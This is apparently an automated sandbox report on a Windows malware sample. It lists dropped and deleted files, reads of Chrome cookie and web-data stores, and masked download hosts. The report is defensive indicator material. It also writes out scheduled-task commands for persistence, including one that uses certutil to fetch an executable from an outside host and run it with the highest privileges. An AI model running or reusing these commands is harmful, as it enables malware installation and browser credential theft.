Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\windowsupdate
Malicious functions
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
Modifies file system
Creates the following files
- %TEMP%\tele.dll
- %LOCALAPPDATA%\u3lzdgvtlknoyxjbxq\cacheservice\browsers\autofill.txt
- %TEMP%\22va5a0wowu.fv
- %TEMP%\2loanmoezcu.fv
- %TEMP%\wv4w2ekvr2n.fv
- %TEMP%\3r4sqy0bdq0.fv
- %LOCALAPPDATA%\u3lzdgvtlknoyxjbxq\cacheservice\browsers\cookies\cookies_2.txt
- %TEMP%\tpv1ujsjy2u.fv
- %LOCALAPPDATA%\u3lzdgvtlknoyxjbxq\cacheservice\browsers\cookieslist.txt
- %LOCALAPPDATA%\u3lzdgvtlknoyxjbxq\cacheservice\browsers\cookies\cookies_0.txt
- %LOCALAPPDATA%\u3lzdgvtlknoyxjbxq\cacheservice\misc\february_catalogue__2015.doc
- %TEMP%\uw3vgsdqu2u.fv
- %TEMP%\kdiu3g5xdtp.fv
- %TEMP%\crk2kuopvv0.fv
- %PROGRAMDATA%\debug.txt
- %LOCALAPPDATA%\u3lzdgvtlknoyxjbxq\cacheservice\image.png
- %PROGRAMDATA%\222.exe
- %PROGRAMDATA%\1111.exe
- %TEMP%\moom.exe
- %TEMP%\nbbb.dll
- %APPDATA%\rtr.exe
- %LOCALAPPDATA%\u3lzdgvtlknoyxjbxq\cacheservice\browsers\passwords.txt
- %PROGRAMDATA%\wmi provider host\wmi64update.exe
Sets the 'hidden' attribute to the following files
- %PROGRAMDATA%\wmi provider host\wmi64update.exe
Deletes the following files
- %TEMP%\nbbb.dll
- %APPDATA%\rtr.exe
- %TEMP%\tele.dll
- %TEMP%\uw3vgsdqu2u.fv
- %TEMP%\tpv1ujsjy2u.fv
Network activity
TCP
HTTP GET requests
- http://gr#.#zz.com.ua/st1l.exe
- http://gr#.#zz.com.ua/minimine.exe
UDP
- DNS ASK gr#.#zz.com.ua
- DNS ASK ve#######dom.000webhostapp.com
- DNS ASK mu#######fsx.000webhostapp.com
- DNS ASK fu#######jpd.000webhostapp.com
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%TEMP%\tele.dll' -s -pfsdgsdfvsdzcxfsDC
- '%APPDATA%\rtr.exe'
- '%TEMP%\nbbb.dll' -s -pfsdgsdfvsdzcxfsDC
- '%TEMP%\moom.exe'
- '%PROGRAMDATA%\1111.exe'
- '%PROGRAMDATA%\222.exe'
- '%PROGRAMDATA%\wmi provider host\wmi64update.exe'
- '%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 1 /tn "WMI Host Updater" /tr "%PROGRAMDATA%\WMI Provider Host\\Wmi64Update.exe" /f' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC MINUTE /MO 59 /RL HIGHEST /TR "cmd.exe /C certutil.exe -urlcache -split -f http://as###hjkl0.com/task_schedule.exe %TEMP%\task_schedule.exe && %TEMP%\task_schedule.exe" /TN WindowsU...
- '%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 1 /tn "WMI Host Updater" /tr "%PROGRAMDATA%\WMI Provider Host\\Wmi64Update.exe" /f
